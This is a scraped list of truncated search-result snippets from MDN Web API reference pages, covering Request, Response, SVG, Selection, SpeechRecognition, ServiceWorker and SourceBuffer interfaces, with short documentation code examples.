new request('flowers.jpg'); var mycred = myrequest.redirect; specifications specification status comment fetchthe definition of 'redirect' in that specification. living standard initial definition ...
Request.referrer - Web APIs
the referrer read-only property of the request interface is set by the user agent to be the referrer of the request. (e.g., client, no-referrer, or a url.) note: if referrer's value is no-referrer, it returns an empty string. syntax var myreferrer = request.referrer; value a domstring representing the request's referrer. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer in a variable: var myrequest =
new request('flowers.jpg'); var myreferrer = myrequest.referrer; // returns "about:client" by default specifications specification status comment fetchthe definition of 'referrer' in that specification. living standard i...
Request.url - Web APIs
the url read-only property of the request interface contains the url of the request. syntax var myurl = request.url; value a usvstring indicating the url of the request. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the url of the request in a variable: var myrequest =
new request('flowers.jpg'); var myurl = myrequest.url; // "http://mdn.github.io/fetch-examples/fetch-request/flowers.jpg" specifications specification status comment fetchthe definition of 'url' in that specification. living standard initial definition ...
ResizeObserver.observe() - Web APIs
ou to set options for the observation. currently this only has one possible option that can be set: box sets which box model the observer will observe changes to. possible values are content-box (the default), and border-box. return value void. exceptions none. ...
ResizeObserver.unobserve() - Web APIs
the unobserve() method of the resizeobserver interface ends the observing of a specified element or svgelement. syntax void unobserve(target); parameters target a reference to an element or svgelement to be unobserved. return value void. exceptions none. ...
ResizeObserverEntry.target - Web APIs
lement this using border-radius with a percentage, but that quickly leads to ugly-looking elliptical corners; this solution gives you nice square corners that scale with the box size. to grab a reference to the observed element so we can update its border-radius value after each change, we make use of the target property of each entry — entry.target.style.borderradius. ...
Response.error() - Web APIs
note: this is mainly relevant to serviceworkers; the error method is used to return an error if you so wish it. an error response has its type set to error. note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise. syntax var errorresponse = response.error(); parameters none. return value a response object. example tbd (does not yet appear to be supported anywhere). ...
Response.redirect() - Web APIs
interface returns a response resulting in a redirect to the specified url. note: this is mainly relevant to the serviceworker api. a controlling service worker could intercept a page's request and redirect it as desired. this will actually lead to a real redirect if a service worker sends it upstream. syntax var response = response.redirect(url, status); parameters url the url that the
new response is to originate from. status optional an optional status code for the response (e.g., 302.) return value a response object. exceptions exception explanation rangeerror the specified status is not a redirect status. typeerror the specified url is invalid. example responseobj.redirect('https://www.example.com', 302); specifications ...
Response.type - Web APIs
ct: "manual". the response's status is 0, headers are empty, body is null and trailer is empty. note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise. syntax var mytype = response.type; value a responsetype string indicating the type of the response. example in our fetch response example (see fetch response live) we create a
new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response type to the console. var myimage = document.queryselector('img'); var myrequest = n...
SVGAngle - Web APIs
, valueinspecifiedunits, and unittype to be updated automatically to reflect this setting. exceptions on setting: a domexception with code syntax_err is raised if the assigned string cannot be parsed as a valid <angle>. a domexception with code no_modification_allowed_err is raised when the length corresponds to a read-only attribute, or when the object itself is read-only. methods
newvaluespecifiedunits reset the value as a number with an associated unittype, thereby replacing the values for all of the attributes on the object. exceptions: a domexception with code not_supported_err is raised if unittype is svg_angletype_unknown or not a valid unit type constant (one of the other svg_angletype_* constants defined on this interface). a domexception with code no_modificati...
SVGCircleElement - Web APIs
. it randomly increases or decreases the radius of the circle element. function clickcircle() { var circle = document.getelementbyid("circle"); // randomly determine if the circle radius will increase or decrease var change = math.random() > 0.5 ? 10 : -10; // clamp the circle radius to a minimum of 10 and a maximum of 250, // so it won't disappear or get bigger than the viewport var
newvalue = math.min(math.max(circle.r.baseval.value + change, 10), 250); circle.setattribute("r",
newvalue); } click on the circle. specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification. candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgext...
SVGComponentTransferFunctionElement - Web APIs
las,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgcomponenttransferfunctionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecomponenttransfer_type_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_fecomponenttransfer_type_identity 1 corresponds to the value identity. svg_fecomponenttransfer_type_table 2 corresponds to the value table. svg_fecomponenttransfer_type_discrete 3 corresponds to the value discrete. svg_fecomponenttransfer_type_linear 4 corresp...
SVGFEBlendElement - Web APIs
size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeblendelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_feblend_mode_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_feblend_mode_normal 1 corresponds to the value normal. svg_feblend_mode_multiply 2 corresponds to the value multiply. svg_feblend_mode_screen 3 corresponds to the value screen. svg_feblend_mode_darken 4 corresponds to the value darken. svg_feblend_mod...
SVGFEColorMatrixElement - Web APIs
font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecolormatrixelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecolormatrix_type_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_fecolormatrix_type_matrix 1 corresponds to the matrix value. svg_fecolormatrix_type_saturate 2 corresponds to the saturate value. svg_fecolormatrix_type_huerotate 3 corresponds to huerotate value. svg_fecolormatrix_type_luminancetoalpha 4 corresponds to lumina...
SVGFECompositeElement - Web APIs
font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfecompositeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_fecomposite_operator_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_fecomposite_operator_over 1 corresponds to the over value. svg_fecomposite_operator_in 2 corresponds to the in value. svg_fecomposite_operator_out 3 corresponds to out value. svg_fecomposite_operator_atop 4 corresponds to atop value. svg_fecomposite_o...
SVGFEConvolveMatrixElement - Web APIs
"12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeconvolvematrixelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_edgemode_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_edgemode_duplicate 1 corresponds to the duplicate value. svg_edgemode_wrap 2 corresponds to the wrap value. svg_edgemode_none 3 corresponds to none value. properties this interface also inherits properties from its parent interface, svgelement, and also implements pr...
SVGFEDisplacementMapElement - Web APIs
"12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfedisplacementmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_channel_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_channel_r 1 corresponds to the r value. svg_channel_g 2 corresponds to the g value. svg_channel_b 3 corresponds to the b value. svg_channel_a 4 corresponds to the a value. properties this interface also inherits properties from its parent interface, sv...
SVGFEGaussianBlurElement - Web APIs
e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfegaussianblurelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_edgemode_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_edgemode_duplicate 1 corresponds to the duplicate value. svg_edgemode_wrap 2 corresponds to the wrap value. svg_edgemode_none 3 corresponds to none value. properties this interface also inherits properties from its parent interface, svgelement, and also implements pr...
SVGFEMorphologyElement - Web APIs
font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfemorphologyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_morphology_operator_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_morphology_operator_erode 1 corresponds to the erode value. svg_morphology_operator_dilate 2 corresponds to dilate value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes...
SVGGeometryElement.isPointInStroke() - Web APIs
g"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> <circle cx="83" cy="17" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinstroke(
new dompoint(10, 10))); // point in circle but not stroke console.log('point at 40,30:', circle.ispointinstroke(
new dompoint(40, 30))); // point in circle stroke console.log('point at 83,17:', circle.ispointinstroke(
new dompoint(83, 17))); result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggeometryelement.ispointinst...
SVGGradientElement - Web APIs
ize="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_spreadmethod_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_spreadmethod_pad 1 corresponds to value pad. svg_spreadmethod_reflect 2 corresponds to value reflect. svg_spreadmethod_repeat 3 corresponds to value repeat. properties this interface also inherits properties from its parent, svgelement, and implements those of svguri...
SVGImageElement.decoding - Web APIs
r; values a domstring representing the decoding hint. possible values are: sync: decode the image synchronously for atomic presentation with other content. async: decode the image asynchronously to reduce delay in presenting other content. auto: default mode, which indicates no preference for the decoding mode. the browser decides what is best for the user. examples var img =
new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check ...
SVGMatrix - Web APIs
atrix.c a float representing the c component of the matrix. svgmatrix.d a float representing the d component of the matrix. svgmatrix.e a float representing the e component of the matrix. svgmatrix.f a float representing the f component of the matrix. methods svgmatrix.multiply() performs matrix multiplication. this matrix is post-multiplied by another matrix, returning the resulting
new matrix as svgmatrix. svgmatrix.inverse() returns the inverse matrix as svgmatrix. svgmatrix.translate() post-multiplies a translation transformation on the current matrix and returns the resulting matrix as svgmatrix. svgmatrix.scale() post-multiplies a uniform scale transformation on the current matrix and returns the resulting matrix as svgmatrix. svgmatrix.scalenonuniform() post-multip...
SVGPathSeg - Web APIs
normative document svg 1.1 (2nd edition) constants name value description pathseg_unknown 0 the unit type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. pathseg_closepath 1 corresponds to a "closepath" (z) path data command. pathseg_moveto_abs 2 corresponds to an "absolute moveto" (m) path data command. pathseg_moveto_rel 3 c...
SVGRenderingIntent - Web APIs
="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrenderingintent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification. constants name value description rendering_intent_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. rendering_intent_auto 1 corresponds to the value auto. rendering_intent_perceptual 2 corresponds to the value perceptual. rendering_intent_relative_colorimetric 3 corresponds to the value relative-colorimetric. rendering_intent_saturation 4 corresponds to the valu...
SVGSVGElement - Web APIs
e() returns the current time in seconds relative to the start time for the current svg document fragment. if getcurrenttime() is called before the document timeline has begun (for example, by script running in a <script> element before the document's svgload event is dispatched), then 0 is returned. svgsvgelement.setcurrenttime() adjusts the clock for this svg document fragment, establishing a
new current time. if setcurrenttime() is called before the document timeline has begun (for example, by script running in a <script> element before the document's svgload event is dispatched), then the value of seconds in the last invocation of the method gives the time that the document will seek to once the document timeline has begun. svgsvgelement.getintersectionlist() returns a nodelist of gra...
SVGUnitTypes - Web APIs
0" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgunittypes</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_unit_type_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_unit_type_userspaceonuse 1 corresponds to the value userspaceonuse. svg_unit_type_objectboundingbox 2 corresponds to the value objectboundingbox. properties this interface doesn't implement any specific properties. methods this interface doesn't implement any specific methods. s...
SVGZoomAndPan - Web APIs
font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgzoomandpan</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_zoomandpan_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_zoomandpan_disable 1 corresponds to the value disable. svg_zoomandpan_magnify 2 corresponds to the value magnify. properties svgzoomandpan.zoomandpan an unsigned short representing the value of the zoomandpan attribute. methods this interface doesn't implement any specific me...
Screen.availHeight - Web APIs
ss if the device or user agent reserves any vertical space for itself. for instance, on a mac whose dock is located at the bottom of screen (which is the default), the value of availheight is approximately the value of height (the total height of the screen in css pixels) minus the heights of the dock and menu bar, as seen in the diagram below. example if your web application needs to open a
new window, such as a tool palette which can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here. in the main window, when it's time to open the panels, code like the following is used. let palettewindow = window.open("panels.html", "panels", "left=0, top=0, width=200"); the panels window's ...
Using the Screen Capture API - Web APIs
ble contents if the current contents are not available. options and constraints the constraints object passed into getdisplaymedia() is a displaymediastreamconstraints object which is used to configuring the resulting stream. note: unlike most uses of constraints in media apis, here it's solely used to define the stream configuration, and not to filter the available choices. there are three
new constraints added to mediatrackconstraints (as well as to mediatracksupportedconstraints and mediatracksettings) for configuring a screen capture stream: cursor indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. the possible values are: always the mouse cursor should always be captured in the generated ...
SecurityPolicyViolationEvent - Web APIs
properties securitypolicyviolationevent.blockeduriread only a usvstring representing the uri of the resource that was blocked because it violates a policy. ...
Selection.addRange() - Web APIs
the selection.addrange() method adds a range to a selection. syntax selection.addrange(range); parameters range a range object that will be added to the selection. example currently only firefox supports multiple selection ranges, other browsers will not add
new ranges to the selection if it already contains one. html <p>i <strong>insist</strong> that you <strong>try</strong> selecting the <strong>strong words</strong>.</p> <button>select strong words</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', function () { let selection = window.getselection(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.leng...
Selection.extend() - Web APIs
syntax sel.extend(node, offset) parameters node the node within which the focus will be moved. offset optional the offset position within node where the focus will be moved to. if not specified, the default value 0 is used. specifications specification status comment selection apithe definition of 'selection.extend()' in that specification. ...
Selection - Web APIs
webkit bug 38696). behavior of selection api in terms of editing host focus changes the selection api has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called. the behavior is as follows: an editing host gains focus if the previous selection was outside of it. a selection api method is called, causing a
new selection to be made with the selection range inside the editing host. focus then moves to the editing host. note: the selection api methods may only move focus to an editing host, not to other focusable elements (e.g., <a>). the above behavior applies to selections made using the following methods: selection.collapse() selection.collapsetostart() selection.collapsetoend() selection.e...
SensorErrorEvent.SensorErrorEvent() - Web APIs
options optional currently only one option is supported: error: an instance of domexception. specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification. ...
SensorErrorEvent - Web APIs
properties sensorerrorevent.error read only returns the domexception object passed in the event's contructor. ...
Server-sent events - Web APIs
these incoming messages can be treated as events + data inside the web page. concepts and usage to learn how to use server-sent events, see our article using server-sent events. interfaces eventsource defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc. ...
ServiceWorkerGlobalScope: activate event - Web APIs
bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.onactivate examples the following snippet shows how you could use an activate event handler to upgrade a cache. ...
ServiceWorkerGlobalScope: install event - Web APIs
the install event of the serviceworkerglobalscope interface is fired when a serviceworkerregistration acquires a
new serviceworkerregistration.installing worker. bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.oninstall examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', ...
ServiceWorkerGlobalScope.onpush - Web APIs
ins a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/
new-notification.png"; var notification =
new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-
new.html'); } }); }); specifications specification status comment ...
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
messages, if desired. this might happen if, for example, the push service sets an expiration time a subscription. syntax serviceworkerglobalscope.onpushsubscriptionchange = function() { ... } self.addeventlistener('pushsubscriptionchange', function() { ... }) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the
new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification. working draft initial definition (note: this event is specified in the push api, but accessed through serviceworkerglobalscope.) ...
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
headers: { "content-type": "application/json" }, body: json.stringify({ endpoint: subscription.endpoint }) }); }) ); }, false); when a pushsubscriptionchange event arrives, indicating that the subscription has expired, we resubscribe by calling the push manager's subscribe() method. when the returned promise is resolved, we receive the
new subscription. this is delivered to the app server using a fetch() call to post a json formatted rendition of the subscription's endpoint to the app server. you can also use the onpushsubscriptionchange event handler property to set up the event handler: self.onpushsubscriptionchange = event => { event.waituntil(swregistration.pushmanager.subscribe(event.oldsubscription.options) .then(subs...
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
underlying service worker take effect immediately for both the current client and all other active clients. syntax serviceworkerglobalscope.skipwaiting().then(function() { //do something }); returns a promise that immediately resolves with undefined. example while self.skipwaiting() can be called at any point during the service worker's execution, it will only have an effect if there's a
newly installed service worker that might otherwise remain in the waiting state. therefore, it's common to call self.skipwaiting() from inside of an installevent handler. the following example causes a
newly installed service worker to progress into the activating state, regardless of whether there is already an active service worker. self.addeventlistener('install', function(event) { // the prom...
SourceBuffer.appendWindowStart - Web APIs
ge will be filtered out. the default value of appendwindowstart is the presentation start time, which is the beginning time of the playable media. syntax var myappendwindowstart = sourcebuffer.appendwindowstart; sourcebuffer.appendwindowstart = 2.0; value a double, indicating the start time of the append window, in seconds. exceptions the following exceptions may be thrown when setting a
new value for this property. exception explanation invalidaccesserror an attempt was made to set the value to less than 0, or a value greater than or equal to sourcebuffer.appendwindowend. invalidstateerror this sourcebuffer object is being updated (i.e. its sourcebuffer.updating property is currently true), or this sourcebuffer has been removed from the media...
SourceBuffer.changeType() - Web APIs
this makes it possible to change codecs or container type mid-stream. one scenario in which this is helpful is to support adapting the media source to changing bandwidth availability, by transitioning from one codec to another as resource constraints change. syntax sourcebuffer.changetype(type); parameters type a domstring specifying the mime type that future buffers will conform to. return value undefined. ...
SourceBuffer.mode - Web APIs
segments, then the value will be set to segments; if they don't, then the value will be set to sequence. if you try to set the mode property value to segments when the initial value is sequence, an exception will be thrown. the existing segment order must be maintained in sequence mode. you can, however, change the value from segments to sequence. it just means the play order will be fixed, and
new timestamps generated to reflect this. this property cannot be changed during while the sourcebuffer is processing either an appendbuffer() or remove() call. syntax var mymode = sourcebuffer.mode; sourcebuffer.mode = 'sequence'; value a domstring. exceptions the following exceptions may be thrown when setting a
new value for this property. exception explanation i...
SourceBuffer.timestampOffset - Web APIs
of the sourcebuffer interface controls the offset applied to timestamps inside media segments that are appended to the sourcebuffer. the initial value of timestampoffset is 0. syntax var myoffset = sourcebuffer.timestampoffset; sourcebuffer.timestampoffset = 2.5; value a double, with the offset amount expressed in seconds. exceptions the following exceptions may be thrown when setting a
new value for this property. exception explanation invalidstateerror one or more of the sourcebuffer objects in mediasource.sourcebuffers are being updated (i.e. their sourcebuffer.updating property is currently true), a media segment inside the sourcebuffer is currently being parsed, or this sourcebuffer has been removed from the mediasource. example tbd specifi...
SourceBuffer.trackDefaults - Web APIs
r interface specifies the default values to use if kind, label, and/or language information is not available in the initialization segment of the media to be appended to the sourcebuffer. syntax var mytrackdefaults = sourcebuffer.trackdefaults; sourcebuffer.trackdefaults = mytrackdefaultlist; value a trackdefaultlist object. exceptions the following exceptions may be thrown when setting a
new value for this property. exception explanation invalidstateerror one or more of the sourcebuffer objects in mediasource.sourcebuffers are being updated (i.e. their sourcebuffer.updating property is currently true), or this sourcebuffer has been removed from the mediasource. example tbd ...
SpeechRecognition.abort() - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition =
new speechrecognition(); var speechrecognitionlist =
new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = f...
SpeechRecognition: audioend event - Web APIs
the audioend event of the web speech api is fired when the user agent has finished capturing audio for speech recognition. bubbles no cancelable no interface event event handler onaudioend examples you can use the audioend event in an addeventlistener method: var recognition =
new webkitspeechrecognition() ||
new speechrecognition(); recognition.addeventlistener('audioend', function() { console.log('audio capturing ended'); }); or use the onaudioend event handler property: recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification. draft ...
SpeechRecognition: audiostart event - Web APIs
the audiostart event of the web speech api is fired when the user agent has started to capture audio for speech recognition. bubbles no cancelable no interface event event handler onaudiostart examples you can use the audiostart event in an onaudiostart method: var recognition =
new webkitspeechrecognition() ||
new speechrecognition(); recognition.addeventlistener('audiostart', function() { console.log('audio capturing started'); }); or use the onaudiostart event handler property: recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification. d...
SpeechRecognition.onaudioend - Web APIs
the onaudioend property of the speechrecognition interface represents an event handler that will run when the user agent has finished capturing audio (when the audioend event fires.) syntax myspeechrecognition.onaudioend = function() { ... }; examples var recognition =
new speechrecognition(); recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'onaudioend' in that specification. draft ...
SpeechRecognition.onaudiostart - Web APIs
the onaudiostart property of the speechrecognition interface represents an event handler that will run when the user agent has started to capture audio (when the audiostart event fires.) syntax myspeechrecognition.onaudiostart = function() { ... }; examples var recognition =
new speechrecognition(); recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'onaudiostart' in that specification. draft ...
SpeechRecognition.onend - Web APIs
the onend property of the speechrecognition interface represents an event handler that will run when the speech recognition service has disconnected (when the end event fires.) syntax myspeechrecognition.onend = function() { ... }; examples var recognition =
new speechrecognition(); recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification. draft ...
SpeechRecognition.onerror - Web APIs
the onerror property of the speechrecognition interface represents an event handler that will run when a speech recognition error occurs (when the error event fires.) syntax myspeechrecognition.onerror = function() { ... }; examples var recognition =
new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification. draft ...
SpeechRecognition.onnomatch - Web APIs
y involve some degree of recognition, which doesn't meet or exceed the confidence threshold. note: the onnomatch handler does not yet work properly in firefox — the speech recognition system always returns a positive match, and then guesses at what item in the grammar it found. this is being worked on. syntax myspeechrecognition.onnomatch = function() { ... }; examples var recognition =
new speechrecognition(); recognition.onnomatch = function() { console.log('speech not recognised'); } specifications specification status comment web speech apithe definition of 'onnomatch' in that specification. draft ...
SpeechRecognition.start() - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition =
new speechrecognition(); var speechrecognitionlist =
new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = f...
StylePropertyMap - Web APIs
font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">stylepropertymap</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, stylepropertymapreadonly. methods inherits methods from its parent, stylepropertymapreadonly. stylepropertymap.append() adds a
new css declaration to the stylepropertymap with the given property and value. stylepropertymap.clear() removes all declarations in the stylepropertymap. stylepropertymap.delete() removes the css declaration with the given property. stylepropertymap.set() changes the css declaration with the given property. specifications specification status comment css typed om leve...
StylePropertyMapReadOnly.keys() - Web APIs
the stylepropertymapreadonly.keys() method returns a
new array iterator containing the keys for each item in stylepropertymapreadonly syntax stylepropertymapreadonly.keys() parameters none. return value a
new array. example // tbd specifications specification status comment css typed om level 1the definition of 'keys()' in that specification. working draft initial definition. ...
StylePropertyMapReadOnly.values() - Web APIs
the stylepropertymapreadonly.values() method returns a
new array iterator containing the values for each index in the stylepropertymapreadonly object. syntax stylepropertymapreadonly.values() parameters none. return value a
new array. example // tbd specifications specification status comment css typed om level 1the definition of 'values()' in that specification. working draft initial definition. ...
StylePropertyMapReadOnly - Web APIs
ment of stylepropertymapreadonly. stylepropertymapreadonly.get() returns the value of the specified property. stylepropertymapreadonly.getall() returns an array of cssstylevalue objects containing the values for the provided property. stylepropertymapreadonly.has() indicates whether the specified property is in the stylepropertymapreadonly object. stylepropertymapreadonly.keys() returns a
new array iterator containing the keys for each item in stylepropertymapreadonly. stylepropertymapreadonly.values() returns a
new array iterator containing the values for each index in the stylepropertymapreadonly object. examples we have to have an element to observe: <p> this is a paragraph with some text. we can add some css, or not. the style map will include all the default and inher...
SubmitEvent - Web APIs
note that currently, the only valid type for a submitevent is submit. properties in addition to the properties listed below, this interface inherits the properties of its parent interface, event. ...
SyncEvent.SyncEvent() - Web APIs
init optional an options object containing any custom settings that you want to apply to the event object. options are as follows: tag: a developer-defined unique identifier for this syncevent. ...
SyncEvent - Web APIs
properties inherits properties from its ancestor, event. syncevent.tag read only returns the developer-defined identifier for this syncevent. syncevent.lastchance read only returns true if the user agent will not make further synchronization attempts after the current attempt. methods inherits methods from its parent, extendableevent. none. ...
SyncManager - Web APIs
syncmanager.gettags return a list of developer-defined identifiers for syncmanager registration. ...
Text() - Web APIs
the text() constructor returns a
newly created text object with the optional domstring given in parameter as its textual content. syntax text1 =
new text(); // create an empty text node text2 =
new text("this is a text node"); example let text =
new text("test"); specifications specification status comment domthe definition of 'text()' in that specification. living standard initial definition. ...
Text.replaceWholeText() - Web APIs
it was the recipient of the replacement text. a domexception with the value no_modification_err is thrown if one of the text nodes being replaced is read only. this method returns the text node which received the replacement text, or null if the replacement text is an empty string. the returned node is the current node unless the current node is read only, in which case the returned node is a
newly created text node of the same type which has been inserted at the location of the replacement. syntax replacementnode = textnode.replacewholetext(content) example see the example for the text.wholetext property. specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'text' in that specification. obsol...
Text.wholeText - Web APIs
ever made that last mistake. in that case, we have: assert(para.firstchild.wholetext == "thru-hiking is great! however, "); wholetext is just a property of text nodes that returns the string of data making up all the adjacent (i.e. not separated by an element boundary) text nodes combined. now let’s return to our original problem. what we want is to be able to replace the whole text with
new text. that’s where replacewholetext() comes in: para.firstchild.replacewholetext("thru-hiking is great, but "); we’re removing every adjacent text node (all the ones that constituted the whole text) but the one on which replacewholetext() is called, and we’re changing the remaining one to the
new text. what we have now is this: <p>thru-hiking is great, but <a href="http://en.wikipedia...
Text - Web APIs
over time, more text nodes may be created as the document's content changes. ...
TextEncoder() - Web APIs
any type label passed into the textencoder constructor will now be ignored and a utf-8 textencoder will be created. exceptions textencoder() throws no exceptions since firefox 48 and chrome 53 note: prior to firefox 48 and chrome 53 an exception would be thrown for an unknown encoding type. ...
TextEncoder.prototype.encode() - Web APIs
encoder.encode(string); parameters string is a usvstring containing the text to encode. return value a uint8array object. examples <p class="source">this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder =
new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definition of 'textencoder.prototype.encode()' in that specification. living standard initial definition. ...
Touch() - Web APIs
